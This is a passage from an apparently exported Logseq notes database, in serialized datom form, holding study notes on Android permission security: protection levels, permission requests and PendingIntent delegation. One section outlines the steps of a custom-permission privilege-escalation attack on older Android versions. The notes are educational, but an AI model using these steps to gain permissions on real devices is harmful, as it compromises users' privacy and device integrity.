componentslogseq____",536871489]],[logseq____"^15logseq____",[360,logseq____"^Ologseq____",logseq____"^16logseq____",536871463]],[logseq____"^15logseq____",[360,logseq____"^@logseq____",false,536871463]],[logseq____"^15logseq____",[360,logseq____"^Flogseq____",480,536873242]],[logseq____"^15logseq____",[360,logseq____"^Xlogseq____",354,536871463]],[logseq____"^15logseq____",[360,logseq____"^Vlogseq____",355,536871463]],[logseq____"^15logseq____",[360,logseq____"^Ulogseq____",2,536871464]],[logseq____"^15logseq____",[360,logseq____"^Ulogseq____",38,536871464]],[logseq____"^15logseq____",[360,logseq____"^Ulogseq____",354,536871464]],[logseq____"^15logseq____",[360,logseq____"^;logseq____",logseq____"~u67b844f9-c3e8-4916-9285-05a50b6fb43blogseq____",536871463]],[logseq____"^15logseq____",[361,logseq____"^Qlogseq____",logseq____"Specified in the [application manifest](((67b84538-73b2-4c51-90af-1b08f4e95071)))logseq____",536871627]],[logseq____"^15logseq____",[361,logseq____"^Ologseq____",logseq____"^16logseq____",536871480]],[logseq____"^15logseq____",[361,logseq____"^@logseq____",false,536871480]],[logseq____"^15logseq____",[361,logseq____"^Flogseq____",360,536871480]],[logseq____"^15logseq____",[361,logseq____"^Xlogseq____",354,536871480]],[logseq____"^15logseq____",[361,logseq____"^Vlogseq____",355,536871480]],[logseq____"^15logseq____",[361,logseq____"^Ulogseq____",2,536871628]],[logseq____"^15logseq____",[361,logseq____"^Ulogseq____",38,536871628]],[logseq____"^15logseq____",[361,logseq____"^Ulogseq____",354,536871628]],[logseq____"^15logseq____",[361,logseq____"^Ulogseq____",362,536871628]],[logseq____"^15logseq____",[361,logseq____"^Hlogseq____",362,536873242]],[logseq____"^15logseq____",[361,logseq____"^;logseq____",logseq____"~u67b84504-2395-4c0a-abcf-f2e3075f664alogseq____",536871480]],[logseq____"^15logseq____",[362,logseq____"^Qlogseq____",logseq____"### Permissions\\nid:: 67b84538-73b2-4c51-90af-1b08f4e95071logseq____",536871596]],[logseq____"^15logseq____",[362,logseq____"^Ologseq____",logseq____"^16logseq____",536871494]],[logseq____"^15logseq____",[362,logseq____"^Flogseq____",92,536871498]],[logseq____"^15logseq____",[362,logseq____"^Xlogseq____",28,536871494]],[logseq____"^15logseq____",[362,logseq____"^Vlogseq____",90,536871498]],[logseq____"^15logseq____",[362,logseq____"^Ulogseq____",2,536871495]],[logseq____"^15logseq____",[362,logseq____"^Ulogseq____",24,536871495]],[logseq____"^15logseq____",[362,logseq____"^Ulogseq____",28,536871495]],[logseq____"^15logseq____",[362,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b84538-73b2-4c51-90af-1b08f4e95071logseq____",logseq____"^17logseq____",3],536876191]],[logseq____"^15logseq____",[362,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536876191]],[logseq____"^15logseq____",[362,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b84538-73b2-4c51-90af-1b08f4e95071logseq____"],536876191]],[logseq____"^15logseq____",[362,logseq____"^;logseq____",logseq____"~u67b84538-73b2-4c51-90af-1b08f4e95071logseq____",536871494]],[logseq____"^15logseq____",[363,logseq____"^Qlogseq____",logseq____"Permissions can be requested, e.g,. `logseq____<uses-permission android:name=\\logseq____"android.permission.READ_CONTACTS\\logseq____"logseq____>logseq____</uses-permissionlogseq____>`logseq____",536871533]],[logseq____"^15logseq____",[363,logseq____"^Ologseq____",logseq____"^16logseq____",536871501]],[logseq____"^15logseq____",[363,logseq____"^Flogseq____",362,536871501]],[logseq____"^15logseq____",[363,logseq____"^Xlogseq____",28,536871501]],[logseq____"^15logseq____",[363,logseq____"^Vlogseq____",362,536871503]],[logseq____"^15logseq____",[363,logseq____"^Ulogseq____",2,536871597]],[logseq____"^15logseq____",[363,logseq____"^Ulogseq____",24,536871597]],[logseq____"^15logseq____",[363,logseq____"^Ulogseq____",28,536871597]],[logseq____"^15logseq____",[363,logseq____"^;logseq____",logseq____"~u67b84541-ab6a-44b9-8b98-7f1252c7d841logseq____",536871501]],[logseq____"^15logseq____",[364,logseq____"^Qlogseq____",logseq____"Protect own, exported services via custom permissions (have to be defined in `permission` block and then referenced in the `service` blocklogseq____",536871584]],[logseq____"^15logseq____",[364,logseq____"^Ologseq____",logseq____"^16logseq____",536871529]],[logseq____"^15logseq____",[364,logseq____"^Flogseq____",363,536871529]],[logseq____"^15logseq____",[364,logseq____"^Xlogseq____",28,536871529]],[logseq____"^15logseq____",[364,logseq____"^Vlogseq____",362,536871529]],[logseq____"^15logseq____",[364,logseq____"^Ulogseq____",2,536871597]],[logseq____"^15logseq____",[364,logseq____"^Ulogseq____",24,536871597]],[logseq____"^15logseq____",[364,logseq____"^Ulogseq____",28,536871597]],[logseq____"^15logseq____",[364,logseq____"^;logseq____",logseq____"~u67b84570-3af3-4d56-bb90-ec44185f1e67logseq____",536871529]],[logseq____"^15logseq____",[367,logseq____"^Qlogseq____",logseq____"## Protection Levels #card #security-architecturelogseq____",536871644]],[logseq____"^15logseq____",[367,logseq____"^Ologseq____",logseq____"^16logseq____",536871633]],[logseq____"^15logseq____",[367,logseq____"^@logseq____",false,536871633]],[logseq____"^15logseq____",[367,logseq____"^Flogseq____",355,536871635]],[logseq____"^15logseq____",[367,logseq____"^Xlogseq____",354,536871633]],[logseq____"^15logseq____",[367,logseq____"^Vlogseq____",354,536871635]],[logseq____"^15logseq____",[367,logseq____"^Ulogseq____",2,536871645]],[logseq____"^15logseq____",[367,logseq____"^Ulogseq____",38,536871645]],[logseq____"^15logseq____",[367,logseq____"^Ulogseq____",354,536871645]],[logseq____"^15logseq____",[367,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[367,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[367,logseq____"^Hlogseq____",2,536873242]],[logseq____"^15logseq____",[367,logseq____"^Hlogseq____",38,536873242]],[logseq____"^15logseq____",[367,logseq____"^;logseq____",logseq____"~u67b8464f-b477-4726-bece-a8be8f7a1a12logseq____",536871633]],[logseq____"^15logseq____",[368,logseq____"^Qlogseq____",logseq____"*Normal*(default): low-risk permission, i.e., *no danger* to the system integrity or end-user; does not require end-user approvallogseq____",536871742]],[logseq____"^15logseq____",[368,logseq____"^Ologseq____",logseq____"^16logseq____",536871644]],[logseq____"^15logseq____",[368,logseq____"^@logseq____",false,536871644]],[logseq____"^15logseq____",[368,logseq____"^Flogseq____",367,536871644]],[logseq____"^15logseq____",[368,logseq____"^Xlogseq____",354,536871644]],[logseq____"^15logseq____",[368,logseq____"^Vlogseq____",367,536871646]],[logseq____"^15logseq____",[368,logseq____"^Ulogseq____",2,536871647]],[logseq____"^15logseq____",[368,logseq____"^Ulogseq____",38,536871647]],[logseq____"^15logseq____",[368,logseq____"^Ulogseq____",354,536871647]],[logseq____"^15logseq____",[368,logseq____"^;logseq____",logseq____"~u67b84659-fba7-4ae7-a7b2-82f8230eb6balogseq____",536871644]],[logseq____"^15logseq____",[369,logseq____"^Qlogseq____",logseq____"*Dangerous*: Access to *system integrity*/*privacy* *compromising* functions/data (user has to grant approval)logseq____",536871757]],[logseq____"^15logseq____",[369,logseq____"^Ologseq____",logseq____"^16logseq____",536871676]],[logseq____"^15logseq____",[369,logseq____"^@logseq____",false,536871676]],[logseq____"^15logseq____",[369,logseq____"^Flogseq____",368,536871676]],[logseq____"^15logseq____",[369,logseq____"^Xlogseq____",354,536871676]],[logseq____"^15logseq____",[369,logseq____"^Vlogseq____",367,536871676]],[logseq____"^15logseq____",[369,logseq____"^Ulogseq____",2,536871677]],[logseq____"^15logseq____",[369,logseq____"^Ulogseq____",38,536871677]],[logseq____"^15logseq____",[369,logseq____"^Ulogseq____",354,536871677]],[logseq____"^15logseq____",[369,logseq____"^;logseq____",logseq____"~u67b8469b-9a46-417f-aff3-b05115cd63adlogseq____",536871676]],[logseq____"^15logseq____",[370,logseq____"^Qlogseq____",logseq____"*Signature*: Requesting and permission defining application have to be signed using the *same developer certificate* (no end-user approval)logseq____",536871836]],[logseq____"^15logseq____",[370,logseq____"^Ologseq____",logseq____"^16logseq____",536871760]],[logseq____"^15logseq____",[370,logseq____"^@logseq____",false,536871760]],[logseq____"^15logseq____",[370,logseq____"^Flogseq____",369,536871760]],[logseq____"^15logseq____",[370,logseq____"^Xlogseq____",354,536871760]],[logseq____"^15logseq____",[370,logseq____"^Vlogseq____",367,536871760]],[logseq____"^15logseq____",[370,logseq____"^Ulogseq____",2,536871761]],[logseq____"^15logseq____",[370,logseq____"^Ulogseq____",38,536871761]],[logseq____"^15logseq____",[370,logseq____"^Ulogseq____",354,536871761]],[logseq____"^15logseq____",[370,logseq____"^;logseq____",logseq____"~u67b846de-e2b8-4e3a-80b7-94ae1be32d8elogseq____",536871760]],[logseq____"^15logseq____",[371,logseq____"^Qlogseq____",logseq____"## Privilege Escalation on Earlier Android Versionslogseq____",536871921]],[logseq____"^15logseq____",[371,logseq____"^Ologseq____",logseq____"^16logseq____",536871837]],[logseq____"^15logseq____",[371,logseq____"^@logseq____",false,536871837]],[logseq____"^15logseq____",[371,logseq____"^Flogseq____",367,536871843]],[logseq____"^15logseq____",[371,logseq____"^Xlogseq____",354,536871837]],[logseq____"^15logseq____",[371,logseq____"^Vlogseq____",354,536871843]],[logseq____"^15logseq____",[371,logseq____"^Ulogseq____",354,536871844]],[logseq____"^15logseq____",[371,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[371,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[371,logseq____"^;logseq____",logseq____"~u67b8472e-0f28-48ec-8c5f-267649818c08logseq____",536871837]],[logseq____"^15logseq____",[372,logseq____"^Qlogseq____",logseq____"~`knownSigner` flag (logseq____>= Android 12): relaxes signatures to any *known certificate*logseq____",536871875]],[logseq____"^15logseq____",[372,logseq____"^Ologseq____",logseq____"^16logseq____",536871847]],[logseq____"^15logseq____",[372,logseq____"^@logseq____",false,536871847]],[logseq____"^15logseq____",[372,logseq____"^Flogseq____",370,536871847]],[logseq____"^15logseq____",[372,logseq____"^Xlogseq____",354,536871847]],[logseq____"^15logseq____",[372,logseq____"^Vlogseq____",370,536871849]],[logseq____"^15logseq____",[372,logseq____"^Ulogseq____",2,536871848]],[logseq____"^15logseq____",[372,logseq____"^Ulogseq____",38,536871848]],[logseq____"^15logseq____",[372,logseq____"^Ulogseq____",354,536871848]],[logseq____"^15logseq____",[372,logseq____"^;logseq____",logseq____"~u67b8480e-36af-4405-9de6-836593925e29logseq____",536871847]],[logseq____"^15logseq____",[373,logseq____"^Qlogseq____",logseq____"~`knownCerts`attribute refers to explicit signing certifiacelogseq____",536871906]],[logseq____"^15logseq____",[373,logseq____"^Ologseq____",logseq____"^16logseq____",536871878]],[logseq____"^15logseq____",[373,logseq____"^@logseq____",false,536871878]],[logseq____"^15logseq____",[373,logseq____"^Flogseq____",372,536871878]],[logseq____"^15logseq____",[373,logseq____"^Xlogseq____",354,536871878]],[logseq____"^15logseq____",[373,logseq____"^Vlogseq____",370,536871878]],[logseq____"^15logseq____",[373,logseq____"^Ulogseq____",2,536871879]],[logseq____"^15logseq____",[373,logseq____"^Ulogseq____",38,536871879]],[logseq____"^15logseq____",[373,logseq____"^Ulogseq____",354,536871879]],[logseq____"^15logseq____",[373,logseq____"^;logseq____",logseq____"~u67b84850-e782-4a25-8ff4-9103d1295163logseq____",536871878]],[logseq____"^15logseq____",[374,logseq____"^Qlogseq____",logseq____"Signature verification only during installationlogseq____",536871937]],[logseq____"^15logseq____",[374,logseq____"^Ologseq____",logseq____"^16logseq____",536871924]],[logseq____"^15logseq____",[374,logseq____"^@logseq____",false,536871924]],[logseq____"^15logseq____",[374,logseq____"^Flogseq____",371,536871924]],[logseq____"^15logseq____",[374,logseq____"^Xlogseq____",354,536871924]],[logseq____"^15logseq____",[374,logseq____"^Vlogseq____",371,536871926]],[logseq____"^15logseq____",[374,logseq____"^Ulogseq____",354,536871925]],[logseq____"^15logseq____",[374,logseq____"^;logseq____",logseq____"~u67b8491e-2b84-447e-aae2-7caefe1fccd1logseq____",536871924]],[logseq____"^15logseq____",[375,logseq____"^Qlogseq____",logseq____"Attacker App1 defines \\logseq____"dangerous\\logseq____" permission (same name as signature permission of victim app)logseq____",536871972]],[logseq____"^15logseq____",[375,logseq____"^Ologseq____",logseq____"^16logseq____",536871937]],[logseq____"^15logseq____",[375,logseq____"^@logseq____",false,536871937]],[logseq____"^15logseq____",[375,logseq____"^Flogseq____",374,536871937]],[logseq____"^15logseq____",[375,logseq____"^Xlogseq____",354,536871937]],[logseq____"^15logseq____",[375,logseq____"^Vlogseq____",371,536871937]],[logseq____"^15logseq____",[375,logseq____"^Ulogseq____",354,536871938]],[logseq____"^15logseq____",[375,logseq____"^;logseq____",logseq____"~u67b8493b-1c1e-418d-9479-27511c45d7b1logseq____",536871937]],[logseq____"^15logseq____",[376,logseq____"^Qlogseq____",logseq____"Attacker App2 requests this permissionlogseq____",536871982]],[logseq____"^15logseq____",[376,logseq____"^Ologseq____",logseq____"^16logseq____",536871975]],[logseq____"^15logseq____",[376,logseq____"^@logseq____",false,536871975]],[logseq____"^15logseq____",[376,logseq____"^Flogseq____",375,536871975]],[logseq____"^15logseq____",[376,logseq____"^Xlogseq____",354,536871975]],[logseq____"^15logseq____",[376,logseq____"^Vlogseq____",371,536871975]],[logseq____"^15logseq____",[376,logseq____"^Ulogseq____",354,536871976]],[logseq____"^15logseq____",[376,logseq____"^;logseq____",logseq____"~u67b8495b-f5fe-4493-b253-d593a603f838logseq____",536871975]],[logseq____"^15logseq____",[377,logseq____"^Qlogseq____",logseq____"Attacker App1 removes permission definitionlogseq____",536872001]],[logseq____"^15logseq____",[377,logseq____"^Ologseq____",logseq____"^16logseq____",536871982]],[logseq____"^15logseq____",[377,logseq____"^@logseq____",false,536871982]],[logseq____"^15logseq____",[377,logseq____"^Flogseq____",376,536871982]],[logseq____"^15logseq____",[377,logseq____"^Xlogseq____",354,536871982]],[logseq____"^15logseq____",[377,logseq____"^Vlogseq____",371,536871982]],[logseq____"^15logseq____",[377,logseq____"^Ulogseq____",354,536871983]],[logseq____"^15logseq____",[377,logseq____"^;logseq____",logseq____"~u67b84962-4c2f-4283-8fb6-d51dadc2b5d7logseq____",536871982]],[logseq____"^15logseq____",[378,logseq____"^Qlogseq____",logseq____"Install victim applogseq____",536872023]],[logseq____"^15logseq____",[378,logseq____"^Ologseq____",logseq____"^16logseq____",536872004]],[logseq____"^15logseq____",[378,logseq____"^@logseq____",false,536872004]],[logseq____"^15logseq____",[378,logseq____"^Flogseq____",377,536872004]],[logseq____"^15logseq____",[378,logseq____"^Xlogseq____",354,536872004]],[logseq____"^15logseq____",[378,logseq____"^Vlogseq____",371,536872004]],[logseq____"^15logseq____",[378,logseq____"^Ulogseq____",354,536872005]],[logseq____"^15logseq____",[378,logseq____"^;logseq____",logseq____"~u67b8496f-1502-4082-a2f7-ac64b1f4625elogseq____",536872004]],[logseq____"^15logseq____",[379,logseq____"^Qlogseq____",logseq____"Attacker App2 holds successful signature permissionlogseq____",536872042]],[logseq____"^15logseq____",[379,logseq____"^Ologseq____",logseq____"^16logseq____",536872026]],[logseq____"^15logseq____",[379,logseq____"^@logseq____",false,536872026]],[logseq____"^15logseq____",[379,logseq____"^Flogseq____",378,536872026]],[logseq____"^15logseq____",[379,logseq____"^Xlogseq____",354,536872026]],[logseq____"^15logseq____",[379,logseq____"^Vlogseq____",371,536872026]],[logseq____"^15logseq____",[379,logseq____"^Ulogseq____",354,536872027]],[logseq____"^15logseq____",[379,logseq____"^;logseq____",logseq____"~u67b84982-1167-43c2-b3da-4dd4e2766e53logseq____",536872026]],[logseq____"^15logseq____",[380,logseq____"^Qlogseq____",logseq____"## Install-Time Permissionslogseq____",536872061]],[logseq____"^15logseq____",[380,logseq____"^Ologseq____",logseq____"^16logseq____",536872045]],[logseq____"^15logseq____",[380,logseq____"^@logseq____",false,536872045]],[logseq____"^15logseq____",[380,logseq____"^Flogseq____",371,536872049]],[logseq____"^15logseq____",[380,logseq____"^Xlogseq____",354,536872045]],[logseq____"^15logseq____",[380,logseq____"^Vlogseq____",354,536872049]],[logseq____"^15logseq____",[380,logseq____"^Ulogseq____",354,536872046]],[logseq____"^15logseq____",[380,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[380,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[380,logseq____"^;logseq____",logseq____"~u67b849d5-1c4d-42c2-8b5c-2ef3f0858467logseq____",536872045]],[logseq____"^15logseq____",[381,logseq____"^Qlogseq____",logseq____"Pre-Android 6 users had to grant permissions on installlogseq____",536872098]],[logseq____"^15logseq____",[381,logseq____"^Ologseq____",logseq____"^16logseq____",536872061]],[logseq____"^15logseq____",[381,logseq____"^@logseq____",false,536872061]],[logseq____"^15logseq____",[381,logseq____"^Flogseq____",380,536872061]],[logseq____"^15logseq____",[381,logseq____"^Xlogseq____",354,536872061]],[logseq____"^15logseq____",[381,logseq____"^Vlogseq____",380,536872063]],[logseq____"^15logseq____",[381,logseq____"^Ulogseq____",354,536872062]],[logseq____"^15logseq____",[381,logseq____"^;logseq____",logseq____"~u67b849de-6939-4f3f-a540-99403d8b4b69logseq____",536872061]],[logseq____"^15logseq____",[382,logseq____"^Qlogseq____",logseq____"Studies revealed little to no users paid attention to permissions or fully comprehended themlogseq____",536872121]],[logseq____"^15logseq____",[382,logseq____"^Ologseq____",logseq____"^16logseq____",536872098]],[logseq____"^15logseq____",[382,logseq____"^@logseq____",false,536872098]],[logseq____"^15logseq____",[382,logseq____"^Flogseq____",381,536872098]],[logseq____"^15logseq____",[382,logseq____"^Xlogseq____",354,536872098]],[logseq____"^15logseq____",[382,logseq____"^Vlogseq____",380,536872098]],[logseq____"^15logseq____",[382,logseq____"^Ulogseq____",354,536872099]],[logseq____"^15logseq____",[382,logseq____"^;logseq____",logseq____"~u67b849f8-de67-4908-a37d-e39df47c611flogseq____",536872098]],[logseq____"^15logseq____",[383,logseq____"^Qlogseq____",logseq____"Keep permission requests to a minimum and rather inform about risks than underlying resourceslogseq____",536872144]],[logseq____"^15logseq____",[383,logseq____"^Ologseq____",logseq____"^16logseq____",536872128]],[logseq____"^15logseq____",[383,logseq____"^@logseq____",false,536872128]],[logseq____"^15logseq____",[383,logseq____"^Flogseq____",382,536872128]],[logseq____"^15logseq____",[383,logseq____"^Xlogseq____",354,536872128]],[logseq____"^15logseq____",[383,logseq____"^Vlogseq____",380,536872128]],[logseq____"^15logseq____",[383,logseq____"^Ulogseq____",354,536872129]],[logseq____"^15logseq____",[383,logseq____"^;logseq____",logseq____"~u67b84b2b-07f7-44d3-b43e-14331feb5503logseq____",536872128]],[logseq____"^15logseq____",[384,logseq____"^Qlogseq____",logseq____"## Requesting Permissionslogseq____",536872178]],[logseq____"^15logseq____",[384,logseq____"^Ologseq____",logseq____"^16logseq____",536872145]],[logseq____"^15logseq____",[384,logseq____"^@logseq____",false,536872145]],[logseq____"^15logseq____",[384,logseq____"^Flogseq____",380,536872151]],[logseq____"^15logseq____",[384,logseq____"^Xlogseq____",354,536872145]],[logseq____"^15logseq____",[384,logseq____"^Vlogseq____",354,536872151]],[logseq____"^15logseq____",[384,logseq____"^Ulogseq____",354,536872146]],[logseq____"^15logseq____",[384,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[384,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[384,logseq____"^;logseq____",logseq____"~u67b84b41-ac33-424b-bf94-7bb6b0ab758dlogseq____",536872145]],[logseq____"^15logseq____",[385,logseq____"^Qlogseq____",logseq____"Divide into different types (Critical logseq____<-logseq____> Seconary, Unclear logseq____<-logseq____> Clear)logseq____",536872216]],[logseq____"^15logseq____",[385,logseq____"^Ologseq____",logseq____"^16logseq____",536872158]],[logseq____"^15logseq____",[385,logseq____"^@logseq____",false,536872158]],[logseq____"^15logseq____",[385,logseq____"^Flogseq____",384,536872158]],[logseq____"^15logseq____",[385,logseq____"^Xlogseq____",354,536872158]],[logseq____"^15logseq____",[385,logseq____"^Vlogseq____",384,536872164]],[logseq____"^15logseq____",[385,logseq____"^Ulogseq____",354,536872179]],[logseq____"^15logseq____",[385,logseq____"^;logseq____",logseq____"~u67b84b49-18ad-47df-bc4d-b3c9a80e2449logseq____",536872158]],[logseq____"^15logseq____",[386,logseq____"^Qlogseq____",logseq____"Give *rationales* if permission requests are deniedlogseq____",536872274]],[logseq____"^15logseq____",[386,logseq____"^Ologseq____",logseq____"^16logseq____",536872191]],[logseq____"^15logseq____",[386,logseq____"^@logseq____",false,536872191]],[logseq____"^15logseq____",[386,logseq____"^Flogseq____",387,536872217]],[logseq____"^15logseq____",[386,logseq____"^Xlogseq____",354,536872191]],[logseq____"^15logseq____",[386,logseq____"^Vlogseq____",384,536872191]],[logseq____"^15logseq____",[386,logseq____"^Ulogseq____",354,536872192]],[logseq____"^15logseq____",[386,logseq____"^;logseq____",logseq____"~u67b84bb6-e410-4009-b8ea-12c9e0009bf5logseq____",536872191]],[logseq____"^15logseq____",[387,logseq____"^Qlogseq____",logseq____"Request types: \\logseq____"Educate up-front\\logseq____", \\logseq____"Ask up-front\\logseq____", \\logseq____"Educate in context\\logseq____", \\logseq____"Ask in Context\\logseq____")logseq____",536872265]],[logseq____"^15logseq____",[387,logseq____"^Ologseq____",logseq____"^16logseq____",536872217]],[logseq____"^15logseq____",[387,logseq____"^@logseq____",false,536872217]],[logseq____"^15logseq____",[387,logseq____"^Flogseq____",385,536872217]],[logseq____"^15logseq____",[387,logseq____"^Xlogseq____",354,536872217]],[logseq____"^15logseq____",[387,logseq____"^Vlogseq____",384,536872217]],[logseq____"^15logseq____",[387,logseq____"^Ulogseq____",354,536872218]],[logseq____"^15logseq____",[387,logseq____"^;logseq____",logseq____"~u67b84bf6-06d1-4454-8d59-bdb29e8ea29dlogseq____",536872217]],[logseq____"^15logseq____",[388,logseq____"^Qlogseq____",logseq____"*One-Time permissions* (logseq____>= Android 10 only location; logseq____>= Android 11 location, microphone, camera)logseq____",536872360]],[logseq____"^15logseq____",[388,logseq____"^Ologseq____",logseq____"^16logseq____",536872275]],[logseq____"^15logseq____",[388,logseq____"^@logseq____",false,536872275]],[logseq____"^15logseq____",[388,logseq____"^Flogseq____",386,536872275]],[logseq____"^15logseq____",[388,logseq____"^Xlogseq____",354,536872275]],[logseq____"^15logseq____",[388,logseq____"^Vlogseq____",384,536872275]],[logseq____"^15logseq____",[388,logseq____"^Ulogseq____",354,536872276]],[logseq____"^15logseq____",[388,logseq____"^;logseq____",logseq____"~u67b84cda-e742-4f91-98dd-06697b2427d8logseq____",536872275]],[logseq____"^15logseq____",[389,logseq____"^Qlogseq____",logseq____"*Privacy Dashboard* (logseq____>= Android 12): Shows which app requested which permissions when (can be customized with an activity)logseq____",536872376]],[logseq____"^15logseq____",[389,logseq____"^Ologseq____",logseq____"^16logseq____",536872332]],[logseq____"^15logseq____",[389,logseq____"^@logseq____",false,536872332]],[logseq____"^15logseq____",[389,logseq____"^Flogseq____",388,536872332]],[logseq____"^15logseq____",[389,logseq____"^Xlogseq____",354,536872332]],[logseq____"^15logseq____",[389,logseq____"^Vlogseq____",384,536872332]],[logseq____"^15logseq____",[389,logseq____"^Ulogseq____",354,536872333]],[logseq____"^15logseq____",[389,logseq____"^;logseq____",logseq____"~u67b84fa2-91e5-4e5a-bccc-04a63bba1843logseq____",536872332]],[logseq____"^15logseq____",[390,logseq____"^Qlogseq____",logseq____"## Permission Delegationlogseq____",536872389]],[logseq____"^15logseq____",[390,logseq____"^Ologseq____",logseq____"^16logseq____",536872379]],[logseq____"^15logseq____",[390,logseq____"^@logseq____",false,536872379]],[logseq____"^15logseq____",[390,logseq____"^Flogseq____",384,536872383]],[logseq____"^15logseq____",[390,logseq____"^Xlogseq____",354,536872379]],[logseq____"^15logseq____",[390,logseq____"^Vlogseq____",354,536872383]],[logseq____"^15logseq____",[390,logseq____"^Ulogseq____",354,536872380]],[logseq____"^15logseq____",[390,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[390,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[390,logseq____"^;logseq____",logseq____"~u67b851e8-ec19-48ee-a483-8fafbf6142bblogseq____",536872379]],[logseq____"^15logseq____",[391,logseq____"^Qlogseq____",logseq____"[Content Providers]([[Content Provider]]) can restrict URI access per subpathslogseq____",536873242]],[logseq____"^15logseq____",[391,logseq____"^Ologseq____",logseq____"^16logseq____",536872389]],[logseq____"^15logseq____",[391,logseq____"^@logseq____",false,536872389]],[logseq____"^15logseq____",[391,logseq____"^Flogseq____",390,536872389]],[logseq____"^15logseq____",[391,logseq____"^Xlogseq____",354,536872389]],[logseq____"^15logseq____",[391,logseq____"^Vlogseq____",390,536872391]],[logseq____"^15logseq____",[391,logseq____"^Ulogseq____",25,536872412]],[logseq____"^15logseq____",[391,logseq____"^Ulogseq____",354,536872412]],[logseq____"^15logseq____",[391,logseq____"^Ulogseq____",412,536873242]],[logseq____"^15logseq____",[391,logseq____"^Hlogseq____",412,536873242]],[logseq____"^15logseq____",[391,logseq____"^;logseq____",logseq____"~u67b851ed-4c88-44b2-8787-0d6e898a1264logseq____",536872389]],[logseq____"^15logseq____",[394,logseq____"^Qlogseq____",logseq____"*PendingIntent*: Create [[Intent Messages]] to hand to other applications (delegate *permissions* and *identities* to different application): *prefil sensitive fields* (action string, component, etc.) or trust sending applicationlogseq____",536872788]],[logseq____"^15logseq____",[394,logseq____"^Ologseq____",logseq____"^16logseq____",536872540]],[logseq____"^15logseq____",[394,logseq____"^@logseq____",false,536872540]],[logseq____"^15logseq____",[394,logseq____"^Flogseq____",395,536872688]],[logseq____"^15logseq____",[394,logseq____"^Xlogseq____",354,536872540]],[logseq____"^15logseq____",[394,logseq____"^Vlogseq____",390,536872688]],[logseq____"^15logseq____",[394,logseq____"^Ulogseq____",75,536872695]],[logseq____"^15logseq____",[394,logseq____"^Ulogseq____",354,536872695]],[logseq____"^15logseq____",[394,logseq____"^Hlogseq____",75,536873242]],[logseq____"^15logseq____",[394,logseq____"^;logseq____",logseq____"~u67b8529a-3f67-4e5c-9cee-b60fd942c5d1logseq____",536872540]],[logseq____"^15logseq____",[395,logseq____"^Qlogseq____",logseq____"Implementing [PoLP](((67b73cc0-6cc9-4099-81fe-fb696e04c2e6))) by delegating certain actions to different applications, e.g., mail application calls file viewer to open attachment (gives access to specific attachment, not all data)logseq____",536872611]],[logseq____"^15logseq____",[395,logseq____"^Ologseq____",logseq____"^16logseq____",536872544]],[logseq____"^15logseq____",[395,logseq____"^@logseq____",false,536872544]],[logseq____"^15logseq____",[395,logseq____"^Flogseq____",391,536872544]],[logseq____"^15logseq____",[395,logseq____"^Xlogseq____",354,536872544]],[logseq____"^15logseq____",[395,logseq____"^Vlogseq____",390,536872544]],[logseq____"^15logseq____",[395,logseq____"^Ulogseq____",234,536872580]],[logseq____"^15logseq____",[395,logseq____"^Ulogseq____",354,536872580]],[logseq____"^15logseq____",[395,logseq____"^Hlogseq____",234,536873242]],[logseq____"^15logseq____",[395,logseq____"^;logseq____",logseq____"~u67b852c5-f41c-4107-9cfb-175ae7d16d98logseq____",536872544]],[logseq____"^15logseq____",[398,logseq____"^Qlogseq____",logseq____"## Pending Intent\\nid:: 67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____",536873117]],[logseq____"^15logseq____",[398,logseq____"^Ologseq____",logseq____"^16logseq____",536872792]],[logseq____"^15logseq____",[398,logseq____"^Flogseq____",124,536872792]],[logseq____"^15logseq____",[398,logseq____"^Xlogseq____",75,536872792]],[logseq____"^15logseq____",[398,logseq____"^Vlogseq____",75,536872792]],[logseq____"^15logseq____",[398,logseq____"^Ulogseq____",75,536872793]],[logseq____"^15logseq____",[398,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[398,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536873239]],[logseq____"^15logseq____",[398,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____"],536873239]],[logseq____"^15logseq____",[398,logseq____"^;logseq____",logseq____"~u67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____",536872792]],[logseq____"^15logseq____",[399,logseq____"^Qlogseq____",logseq____"Object wrapper around and Intent.logseq____",536872825]],[logseq____"^15logseq____",[399,logseq____"^Ologseq____",logseq____"^16logseq____",536872805]],[logseq____"^15logseq____",[399,logseq____"^Flogseq____",398,536872805]],[logseq____"^15logseq____",[399,logseq____"^Xlogseq____",75,536872805]],[logseq____"^15logseq____",[399,logseq____"^Vlogseq____",398,536872809]],[logseq____"^15logseq____",[399,logseq____"^Ulogseq____",75,536873118]],[logseq____"^15logseq____",[399,logseq____"^;logseq____",logseq____"~u67b8558a-1966-42a6-8aea-b152a384aceelogseq____",536872805]],[logseq____"^15logseq____",[400,logseq____"^Qlogseq____",logseq____"Grant permission to a foreign application to use the contained Intent as if it were executed from applogseq____'s own 